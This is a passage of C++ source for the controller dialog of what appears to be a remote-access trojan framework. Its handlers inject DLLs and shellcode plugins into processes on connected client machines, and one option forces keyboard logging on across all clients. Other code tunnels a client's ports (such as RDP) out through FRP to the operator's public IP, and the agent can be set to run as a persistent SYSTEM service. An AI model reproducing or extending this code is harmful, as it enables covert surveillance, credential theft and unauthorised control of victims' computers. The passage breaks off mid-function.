|
||
|
||
void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
|
||
{
|
||
auto ctx = FindHostByIP(ip);
|
||
if (ctx == NULL) {
|
||
MessageBoxL(_L("没有找到在线主机: ") + ip.c_str(), "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
|
||
auto tinyRun = ReadTinyRunDll(pid);
|
||
Buffer* buf = tinyRun->Data;
|
||
ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||
SAFE_DELETE(tinyRun);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
char* ip = (char*)wParam;
|
||
std::string host(ip);
|
||
std::string arch = ip + 256;
|
||
int pid = lParam;
|
||
auto ctx = FindHostByIP(ip);
|
||
delete ip;
|
||
if (ctx == NULL) {
|
||
MessageBoxL(_L("没有找到在线主机: ") + host.c_str(), "提示", MB_ICONINFORMATION);
|
||
return S_FALSE;
|
||
}
|
||
bool is32Bit = arch == "x86";
|
||
std::string path = PluginPath() + "\\" + (is32Bit ? "AntiBlackScreen_x86.dll" : "AntiBlackScreen_x64.dll");
|
||
auto antiBlackScreen = ReadPluginDll(path, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, pid, is32Bit });
|
||
if (antiBlackScreen) {
|
||
Buffer* buf = antiBlackScreen->Data;
|
||
ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||
SAFE_DELETE(antiBlackScreen);
|
||
} else
|
||
MessageBoxL(_L("没有反黑屏插件: ") + path.c_str(), "提示", MB_ICONINFORMATION);
|
||
return S_OK;
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnParamKblogger()
|
||
{
|
||
m_settings.EnableKBLogger = !m_settings.EnableKBLogger;
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||
if (SubMenu)
|
||
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
|
||
THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger);
|
||
SendMasterSettings(nullptr, m_settings);
|
||
MessageBoxA(m_settings.EnableKBLogger ? _TR("所有客户端的键盘记录被强制启用。") : _TR("客户端的键盘记录需要单独打开。"),
|
||
_TR("提示"), MB_ICONINFORMATION);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlineInjNotepad()
|
||
{
|
||
auto tinyRun = ReadTinyRunDll(0);
|
||
EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ctx = GetContextByListIndex(iItem);
|
||
if (!ctx) continue;
|
||
if (!ctx->IsLogin())
|
||
continue;
|
||
Buffer* buf = tinyRun->Data;
|
||
ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
SAFE_DELETE(tinyRun);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnParamLoginNotify()
|
||
{
|
||
m_needNotify = !m_needNotify;
|
||
THIS_CFG.SetInt("settings", "LoginNotify", m_needNotify);
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||
if (SubMenu)
|
||
SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, m_needNotify ? MF_CHECKED : MF_UNCHECKED);
|
||
MessageBoxA(m_needNotify ? _TR("已启用客户端上线通知。") : _TR("已关闭客户端上线通知。"), _TR("提示"), MB_ICONINFORMATION);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnParamEnableLog()
|
||
{
|
||
m_settings.EnableLog = !m_settings.EnableLog;
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||
if (SubMenu)
|
||
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
|
||
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
|
||
SendMasterSettings(nullptr, m_settings);
|
||
MessageBoxA(m_settings.EnableLog ? _TR("已启用客户端日志。") : _TR("已关闭客户端日志。"), _TR("提示"), MB_ICONINFORMATION);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnParamPrivacyWallpaper()
|
||
{
|
||
CFileDialog dlg(TRUE, _T("bmp"), NULL,
|
||
OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
|
||
_T("BMP Files (*.bmp)|*.bmp|All Files (*.*)|*.*||"), this);
|
||
|
||
if (dlg.DoModal() == IDOK) {
|
||
CString path = dlg.GetPathName();
|
||
|
||
// 验证文件是否可以读取
|
||
CFile file;
|
||
if (!file.Open(path, CFile::modeRead | CFile::typeBinary)) {
|
||
MessageBox(_TR("无法读取指定的BMP文件,请检查文件是否存在或权限是否正确。"),
|
||
_TR("错误"), MB_ICONERROR);
|
||
return;
|
||
}
|
||
|
||
// 验证是否是有效的BMP文件
|
||
BITMAPFILEHEADER bmfh;
|
||
if (file.Read(&bmfh, sizeof(bmfh)) != sizeof(bmfh) || bmfh.bfType != 0x4D42) {
|
||
file.Close();
|
||
MessageBox(_TR("指定的文件不是有效的BMP格式。"),
|
||
_TR("错误"), MB_ICONERROR);
|
||
return;
|
||
}
|
||
file.Close();
|
||
|
||
m_PrivateScreenWallpaper = path;
|
||
THIS_CFG.SetStr("settings", "Wallpaper", path.GetString());
|
||
auto SubMenu = m_MainMenu.GetSubMenu(2); // 工具菜单
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_PARAM_PRIVACY_WALLPAPER, MF_CHECKED);
|
||
}
|
||
CString msg;
|
||
msg.Format(_TR("隐私屏幕壁纸已设置为:\n%s"), path);
|
||
MessageBox(msg + CString("\n") + _L("如需恢复默认值,请从磁盘移除该文件。"), _TR("设置成功"), MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnParamFileV2()
|
||
{
|
||
m_bEnableFileV2 = !m_bEnableFileV2;
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||
if (SubMenu)
|
||
SubMenu->CheckMenuItem(ID_PARAM_FILE_V2, m_bEnableFileV2 ? MF_CHECKED : MF_UNCHECKED);
|
||
THIS_CFG.SetInt("settings", "EnableFileV2", m_bEnableFileV2 ? 1 : 0);
|
||
Mprintf("文件传输V2: %s\n", m_bEnableFileV2 ? "启用" : "禁用");
|
||
MessageBoxA(m_bEnableFileV2 ? _TR("已启用文件传输协议V2,支持断点续传和C2C传输。") : _TR("已关闭文件传输协议V2。"),
|
||
_TR("提示"), MB_ICONINFORMATION);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnParamRunAsUser()
|
||
{
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||
|
||
if (m_runNormal == 2) {
|
||
// 切换到服务+SYSTEM模式
|
||
m_runNormal = 0;
|
||
THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
|
||
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_CHECKED);
|
||
}
|
||
MessageBoxL("已切换为SYSTEM权限模式,请重启程序生效。", "提示", MB_ICONINFORMATION);
|
||
} else {
|
||
// 切换到服务+User模式
|
||
m_runNormal = 2;
|
||
THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_CHECKED);
|
||
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_UNCHECKED);
|
||
}
|
||
MessageBoxL(_L("已切换为用户权限模式,请重启程序生效。\n\n")+
|
||
_L("以用户身份运行代理可解决输入法(IME)和剪切板文件列表等问题,但可能影响某些需要高权限的功能。"),
|
||
"提示", MB_ICONINFORMATION);
|
||
}
|
||
BOOL r = m_runNormal == 1 ? ServerService_Uninstall() : ServerService_Install();
|
||
}
|
||
|
||
bool IsDateGreaterOrEqual(const char* date1, const char* date2)
|
||
{
|
||
const char* months[] = {
|
||
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
|
||
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
|
||
};
|
||
|
||
auto parseDate = [&months](const char* date, int& year, int& month, int& day) {
|
||
char mon[4] = { 0 };
|
||
sscanf(date, "%3s %d %d", mon, &day, &year);
|
||
month = 0;
|
||
for (int i = 0; i < 12; i++) {
|
||
if (strcmp(mon, months[i]) == 0) {
|
||
month = i + 1;
|
||
break;
|
||
}
|
||
}
|
||
};
|
||
|
||
int y1, m1, d1, y2, m2, d2;
|
||
parseDate(date1, y1, m1, d1);
|
||
parseDate(date2, y2, m2, d2);
|
||
|
||
if (y1 != y2) return y1 >= y2;
|
||
if (m1 != m2) return m1 >= m2;
|
||
return d1 >= d2;
|
||
}
|
||
|
||
std::string GetAuthKey(const char* token, long long timestamp)
|
||
{
|
||
char tsStr[32];
|
||
sprintf_s(tsStr, "%lld", timestamp);
|
||
|
||
HCRYPTPROV hProv = 0;
|
||
HCRYPTHASH hHash = 0;
|
||
std::string result;
|
||
|
||
if (CryptAcquireContextW(&hProv, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
|
||
if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {
|
||
CryptHashData(hHash, (BYTE*)token, (DWORD)strlen(token), 0);
|
||
CryptHashData(hHash, (BYTE*)tsStr, (DWORD)strlen(tsStr), 0);
|
||
|
||
BYTE hash[16];
|
||
DWORD cbHash = sizeof(hash);
|
||
if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &cbHash, 0)) {
|
||
char hex[33];
|
||
for (int i = 0; i < 16; i++)
|
||
sprintf_s(hex + i * 2, 3, "%02x", hash[i]);
|
||
result = hex;
|
||
}
|
||
CryptDestroyHash(hHash);
|
||
}
|
||
CryptReleaseContext(hProv, 0);
|
||
}
|
||
|
||
return result;
|
||
}
|
||
|
||
// 基于FRP将客户端端口代理到主控程序的公网
|
||
// 例如代理3389端口,即可通过 mstsc.exe 进行远程访问
|
||
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
|
||
{
|
||
BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0);
|
||
std::string pwd = THIS_CFG.GetStr("frp", "token", "");
|
||
std::string ip = GetFirstMasterIP(THIS_CFG.GetStr("settings", "master", ""));
|
||
if (!useFrp || pwd.empty() || ip.empty()) {
|
||
MessageBoxL("需要正确启用FRP反向代理方可使用此功能!", "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
|
||
if (!isStandard && IDYES != MessageBoxL("如果没有定制的FRPS服务端程序,请勿点击此菜单! 是否继续?", "提示", MB_YESNO))
|
||
return;
|
||
if (isStandard && IDYES != MessageBoxL("此功能会将FRP的token传递到客户端使用,谨慎操作! 是否继续?", "提示", MB_YESNO))
|
||
return;
|
||
|
||
CInputDialog dlg(this);
|
||
dlg.Init(_TR("代理端口"), _TR("请输入客户端端口:"));
|
||
dlg.Init2(_TR("访问端口(默认同上):"), "");
|
||
if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) {
|
||
return;
|
||
}
|
||
if (atoi(dlg.m_sSecondInput) <= 0 || atoi(dlg.m_sSecondInput) >= 65536) {
|
||
dlg.m_sSecondInput = dlg.m_str;
|
||
}
|
||
uint64_t timestamp = time(nullptr);
|
||
std::string key = isStandard ? pwd : GetAuthKey(pwd.c_str(), timestamp);
|
||
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
|
||
int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput);
|
||
auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL);
|
||
FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort);
|
||
EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
BOOL sent = FALSE;
|
||
const char* validDate = isStandard ? "Jan 29 2026" : "Dec 22 2025";
|
||
while (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ctx = GetContextByListIndex(iItem);
|
||
if (!ctx) continue;
|
||
if (!ctx->IsLogin())
|
||
continue;
|
||
CString bits = ctx->GetAdditionalData(RES_PROGRAM_BITS);
|
||
if (bits != "64")
|
||
continue;
|
||
CString os = ctx->GetClientData(ONLINELIST_OS);
|
||
if (os == "Windows 7" || os == "Windows 8" || os == "Windows 8.1")
|
||
continue;
|
||
CString date = ctx->GetClientData(ONLINELIST_VERSION);
|
||
if (IsDateGreaterOrEqual(date, validDate)) {
|
||
Buffer* buf = frpc->Data;
|
||
BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = { 0 };
|
||
memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew));
|
||
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1);
|
||
SetParameters(p, (char*)¶m, sizeof(param));
|
||
ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew));
|
||
sent = TRUE;
|
||
} else {
|
||
PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(_L("版本不支持")),
|
||
(LPARAM)new CharMsg(_L("客户端版本最低要求: ") + CString(validDate)));
|
||
}
|
||
break;
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
SAFE_DELETE(frpc);
|
||
if (sent)
|
||
MessageBoxL(_L("请通过") + "[" + ip.c_str() + ":" + dlg.m_sSecondInput + "]" + _L("访问代理端口!"),
|
||
"提示", MB_ICONINFORMATION);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnProxyPort()
|
||
{
|
||
ProxyClientTcpPort(false);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnProxyPortStd()
|
||
{
|
||
ProxyClientTcpPort(true);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnHookWin()
|
||
{
|
||
m_bHookWIN = !m_bHookWIN;
|
||
MessageBoxL(_L("远程控制时,") + (m_bHookWIN ? "" : _L("不")) + _L("转发系统热键到远程桌面。"),
|
||
"提示", MB_ICONINFORMATION);
|
||
THIS_CFG.SetInt("settings", "HookWIN", m_bHookWIN);
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||
if (SubMenu)
|
||
SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnRunasService()
|
||
{
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||
|
||
if (m_runNormal == 0) {
|
||
// 切换到普通模式
|
||
m_runNormal = 1;
|
||
THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_UNCHECKED);
|
||
SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
|
||
}
|
||
MessageBoxL(_L("以传统方式启动主控程序,没有守护进程。"), "提示", MB_ICONINFORMATION);
|
||
} else {
|
||
// 切换到服务+SYSTEM模式
|
||
m_runNormal = 0;
|
||
THIS_CFG.SetInt("settings", "RunNormal", m_runNormal);
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_CHECKED);
|
||
SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
|
||
}
|
||
MessageBoxL(_L("以“服务+代理”形式启动主控程序,会开机自启及被守护。") +
|
||
_L("\n代理程序将以SYSTEM权限运行。请重启程序生效。"),
|
||
"提示", MB_ICONINFORMATION);
|
||
}
|
||
BOOL r = m_runNormal == 1 ? ServerService_Uninstall() : ServerService_Install();
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnHistoryClients()
|
||
{
|
||
// 1. 如果窗口已经存在,直接带到前台,不要重复创建
|
||
if (m_pClientListDlg != nullptr && ::IsWindow(m_pClientListDlg->GetSafeHwnd())) {
|
||
m_pClientListDlg->ShowWindow(SW_SHOW);
|
||
m_pClientListDlg->SetForegroundWindow();
|
||
return;
|
||
}
|
||
|
||
// 2. 创建对话框实例
|
||
// 注意:如果是非模态,传进去的 m_ClientMap 引用要确保在对话框存在期间一直有效
|
||
m_pClientListDlg = new CClientListDlg(m_ClientMap, this);
|
||
|
||
// IDD_CLIENT_LIST 是你对话框的 ID
|
||
if (m_pClientListDlg->Create(IDD_DIALOG_CLIENTLIST, GetDesktopWindow())) {
|
||
m_pClientListDlg->ShowWindow(SW_SHOW);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnBackupData()
|
||
{
|
||
MessageBoxL(_L("如果更换主控IP,必须将主机迁移到新的主控IP名下。注意,更换主控程序的机器可能导致授权失效!")+
|
||
_L("请将数据库文件拷贝到目标机器,否则将丢失全部备注信息。"), "提示", MB_ICONINFORMATION);
|
||
std::filesystem::path path = GetDbPath();
|
||
std::filesystem::path dir = path.parent_path();
|
||
ShellExecuteW(NULL, L"open", dir.c_str(), NULL, NULL, SW_SHOWNORMAL);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnPluginRequest()
|
||
{
|
||
CString content = THIS_CFG.GetStr("settings", "GetPluginUrl", BRAND_URL_GET_PLUGIN).c_str();
|
||
if (content.Left(4).CompareNoCase(_T("http")) == 0) {
|
||
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
||
}
|
||
else {
|
||
MessageBoxL(content, _TR("获取插件"), MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnChangeLang()
|
||
{
|
||
size_t count = g_Lang.GetLanguageCount();
|
||
if (count == 1) {
|
||
// 只有简体中文,提示用户
|
||
MessageBoxL("未检测到其他语言文件,请将语言文件放入 lang 目录!", "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
|
||
CString langCode = CLangSelectDlg::Show(this);
|
||
if (!langCode.IsEmpty()) {
|
||
if (!g_Lang.CheckEncoding(langCode)) {
|
||
MessageBoxL("请使用ANSI编码的语言文件。", "提示", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
// 用户选择了语言
|
||
g_Lang.Load(langCode);
|
||
|
||
// 保存到配置文件
|
||
THIS_CFG.SetStr("settings", "Language", langCode.GetString());
|
||
|
||
// 提示用户重启生效
|
||
MessageBoxL("语言已切换,重启程序后生效。", "提示", MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnChooseLangDir()
|
||
{
|
||
CFolderPickerDialog folderDlg(THIS_CFG.GetStr("settings", "LangDir", "./lang").c_str(), NULL, this, 0);
|
||
CString strTitle = _TR("请选择目录");
|
||
folderDlg.m_ofn.lpstrTitle = strTitle;
|
||
if (folderDlg.DoModal() == IDOK) {
|
||
CString folderPath = folderDlg.GetPathName();
|
||
|
||
auto lang = THIS_CFG.GetStr("settings", "Language", "en_US");
|
||
THIS_CFG.SetStr("settings", "LangDir", folderPath.GetString());
|
||
g_Lang.Init(folderPath);
|
||
g_Lang.Load(lang.c_str());
|
||
MessageBoxL("目录已选择,可能需要重启程序。", "提示", MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnImportData()
|
||
{
|
||
if (IDOK!=MessageBoxL(_L("导入主控程序的历史主机记录。此操作会覆盖本机的历史记录,请仅在迁移主控程序时进行操作。")+
|
||
_L("数据库文件仅用于恢复主机备注信息。是否继续?"), "提示",IDOK)) return;
|
||
CFileDialog fileDlg(TRUE, NULL, BRAND_DB_NAME, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||
_T(BRAND_APP_NAME " DB (*.db)|*.db|All Files (*.*)|*.*||"), AfxGetMainWnd());
|
||
int ret = 0;
|
||
try {
|
||
ret = fileDlg.DoModal();
|
||
} catch (...) {
|
||
MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONWARNING);
|
||
return;
|
||
}
|
||
if (ret == IDOK) {
|
||
CString name = fileDlg.GetPathName();
|
||
auto backup = GetDbPath() + "." + ToPekingDateTime(0);
|
||
CopyFileA(GetDbPath().c_str(), backup.c_str(), FALSE);
|
||
m_ClientMap->LoadFromFile(name.GetString());
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnLocationQqwry()
|
||
{
|
||
THIS_CFG.SetInt("settings", "IPLocType", QQWry);
|
||
CMenu* SubMenu = FindSubMenuByCommand(m_MainMenu.GetSubMenu(3), ID_LOCATION_QQWRY);
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_LOCATION_QQWRY, MF_CHECKED);
|
||
SubMenu->CheckMenuItem(ID_LOCATION_IP2REGION, MF_UNCHECKED);
|
||
}
|
||
MessageBoxL("请确保“qqwry.dat”文件存在! 重启程序生效。", "提示", MB_ICONINFORMATION);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnLocationIp2region()
|
||
{
|
||
THIS_CFG.SetInt("settings", "IPLocType", Ip2Region);
|
||
CMenu* SubMenu = FindSubMenuByCommand(m_MainMenu.GetSubMenu(3), ID_LOCATION_QQWRY);
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_LOCATION_QQWRY, MF_UNCHECKED);
|
||
SubMenu->CheckMenuItem(ID_LOCATION_IP2REGION, MF_CHECKED);
|
||
}
|
||
MessageBoxL("请确保“ip2region_v4.xdb”文件存在! 重启程序生效。", "提示", MB_ICONINFORMATION);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnToolLicenseMgr()
|
||
{
|
||
// 如果对话框已存在,刷新并显示
|
||
if (m_pLicenseDlg != nullptr && ::IsWindow(m_pLicenseDlg->GetSafeHwnd())) {
|
||
m_pLicenseDlg->ShowAndRefresh();
|
||
return;
|
||
}
|
||
|
||
// 创建非模态对话框
|
||
m_pLicenseDlg = new CLicenseDlg(this);
|
||
if (m_pLicenseDlg->Create(IDD_DIALOG_LICENSE, GetDesktopWindow())) {
|
||
m_pLicenseDlg->ShowWindow(SW_SHOW);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnToolImportLicense()
|
||
{
|
||
// File filter
|
||
CString filter = _T(BRAND_LICENSE_DESC " (*.lic)|*.lic|All Files (*.*)|*.*||");
|
||
CString dlgTitle = _TR("导入授权文件");
|
||
|
||
// Show file open dialog
|
||
CFileDialog dlg(TRUE, _T("lic"), NULL,
|
||
OFN_FILEMUSTEXIST | OFN_HIDEREADONLY, filter, this);
|
||
dlg.m_ofn.lpstrTitle = dlgTitle;
|
||
|
||
if (dlg.DoModal() != IDOK)
|
||
return;
|
||
|
||
// Import and validate
|
||
LicenseFileData data;
|
||
std::string error;
|
||
LicenseImportResult result = ImportLicenseFile(std::string(CT2A(dlg.GetPathName().GetString())), data, error);
|
||
|
||
if (result != LicenseImportResult::Success) {
|
||
MessageBox(CString(error.c_str()), _TR("导入失败"), MB_ICONERROR);
|
||
return;
|
||
}
|
||
|
||
// Parse expiry info from password
|
||
auto parts = splitString(data.password, '-');
|
||
std::string startDate = parts.size() > 0 ? parts[0] : "";
|
||
std::string endDate = parts.size() > 1 ? parts[1] : "";
|
||
std::string hostNum = parts.size() > 2 ? parts[2] : "";
|
||
|
||
// Format date for display (YYYYMMDD -> YYYY-MM-DD)
|
||
auto formatDate = [](const std::string& d) -> std::string {
|
||
if (d.length() == 8) {
|
||
return d.substr(0, 4) + "-" + d.substr(4, 2) + "-" + d.substr(6, 2);
|
||
}
|
||
return d;
|
||
};
|
||
|
||
// Show confirmation dialog
|
||
CString msg;
|
||
msg.Format(_T("%s\n\n%s: %s\n%s: %s ~ %s\n%s: %s\n%s: %s\n\n%s"),
|
||
_TR("确定导入以下授权?"),
|
||
_TR("序列号"), CString(data.sn.c_str()).GetString(),
|
||
_TR("有效期"), CString(formatDate(startDate).c_str()).GetString(),
|
||
CString(formatDate(endDate).c_str()).GetString(),
|
||
_TR("并发数"), CString(hostNum.c_str()).GetString(),
|
||
_TR("授权类型"), data.IsV2Auth() ? _T("V2 (ECDSA)") : _T("V1 (HMAC)"),
|
||
_TR("导入后需要重启程序生效"));
|
||
|
||
if (MessageBox(msg, _TR("确认导入"), MB_YESNO | MB_ICONQUESTION) != IDYES)
|
||
return;
|
||
|
||
// Apply license
|
||
if (ApplyLicenseData(data)) {
|
||
MessageBoxL("授权已导入,请重启程序生效。", "导入成功", MB_ICONINFORMATION);
|
||
} else {
|
||
MessageBoxL("授权信息不完整", "导入失败", MB_ICONERROR);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnToolV2PrivateKey()
|
||
{
|
||
if (GetMasterHash() != GetPwdHash())
|
||
return;
|
||
|
||
int ret = MessageBoxL("注意:仅授权管理员需要设置 V2 私钥!设置不匹配的私钥将导致签名无效。\n\n"
|
||
"是否继续?",
|
||
"V2 私钥设置", MB_YESNO | MB_ICONWARNING);
|
||
if (ret != IDYES) return;
|
||
|
||
CFileDialog dlg(TRUE, _T("key"), nullptr,
|
||
OFN_FILEMUSTEXIST | OFN_HIDEREADONLY,
|
||
_T("Key Files (*.key;*.pem)|*.key;*.pem|All Files (*.*)|*.*||"),
|
||
this);
|
||
dlg.m_ofn.lpstrTitle = _T("Select V2 Private Key");
|
||
|
||
// 如果已有配置,设置初始目录
|
||
std::string existingPath = m_v2KeyPath;
|
||
CString initialDir;
|
||
if (!existingPath.empty()) {
|
||
initialDir = existingPath.c_str();
|
||
int pos = initialDir.ReverseFind('\\');
|
||
if (pos > 0) initialDir = initialDir.Left(pos);
|
||
dlg.m_ofn.lpstrInitialDir = initialDir;
|
||
}
|
||
|
||
if (dlg.DoModal() == IDOK) {
|
||
CString path = dlg.GetPathName();
|
||
m_v2KeyPath = path.GetString();
|
||
THIS_CFG.SetStr("settings", "V2PrivateKey", path.GetString());
|
||
|
||
// 显示消息
|
||
std::string msg = "V2 Private Key: " + std::string(path.GetString());
|
||
CharMsg* cm = new CharMsg(msg.c_str());
|
||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)cm, NULL);
|
||
|
||
// 更新菜单勾选状态
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
||
if (SubMenu) {
|
||
SubMenu->CheckMenuItem(ID_TOOL_V2_PRIVATEKEY, MF_CHECKED);
|
||
}
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnMenuNotifySettings()
|
||
{
|
||
NotifySettingsDlg dlg(this);
|
||
dlg.DoModal();
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnFrpsForSub()
|
||
{
|
||
CFrpsForSubDlg dlg(this);
|
||
if (dlg.DoModal() == IDOK) {
|
||
// 配置变更后更新状态栏显示
|
||
UpdateStatusBarStats();
|
||
}
|
||
}
|
||
|
||
// Helper function to convert string to lowercase for case-insensitive comparison
|
||
static std::string ToLowerCase(const std::string& str) {
|
||
std::string result = str;
|
||
std::transform(result.begin(), result.end(), result.begin(), ::tolower);
|
||
return result;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnOnlineLoginNotify()
|
||
{
|
||
// Get selected hosts and add their computer name/remark to notify keywords
|
||
std::vector<std::string> hostsToAdd;
|
||
|
||
EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ctx = GetContextByListIndex(iItem);
|
||
if (!ctx) continue;
|
||
|
||
// Prefer remark, fallback to computer name
|
||
CString remark = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
|
||
CString hostName;
|
||
if (!remark.IsEmpty()) {
|
||
hostName = remark;
|
||
} else {
|
||
hostName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
|
||
}
|
||
|
||
if (!hostName.IsEmpty()) {
|
||
// Convert to UTF-8
|
||
std::string nameUtf8 = CT2A(hostName, CP_UTF8);
|
||
hostsToAdd.push_back(nameUtf8);
|
||
}
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
|
||
if (hostsToAdd.empty()) {
|
||
return;
|
||
}
|
||
|
||
// Get current config and add new keywords
|
||
NotifyConfig config = GetNotifyManager().GetConfig();
|
||
NotifyRule& rule = config.GetRule();
|
||
|
||
// Parse existing keywords into a set for deduplication (case-insensitive)
|
||
std::set<std::string> existingKeywordsLower; // lowercase for comparison
|
||
std::vector<std::string> existingKeywords; // original case for output
|
||
std::string pattern = rule.matchPattern;
|
||
size_t pos = 0;
|
||
while ((pos = pattern.find(';')) != std::string::npos) {
|
||
std::string kw = pattern.substr(0, pos);
|
||
// Trim whitespace
|
||
size_t start = kw.find_first_not_of(" \t");
|
||
size_t end = kw.find_last_not_of(" \t");
|
||
if (start != std::string::npos) {
|
||
std::string trimmed = kw.substr(start, end - start + 1);
|
||
existingKeywordsLower.insert(ToLowerCase(trimmed));
|
||
existingKeywords.push_back(trimmed);
|
||
}
|
||
pattern.erase(0, pos + 1);
|
||
}
|
||
// Last keyword (or only keyword if no semicolon)
|
||
if (!pattern.empty()) {
|
||
size_t start = pattern.find_first_not_of(" \t");
|
||
size_t end = pattern.find_last_not_of(" \t");
|
||
if (start != std::string::npos) {
|
||
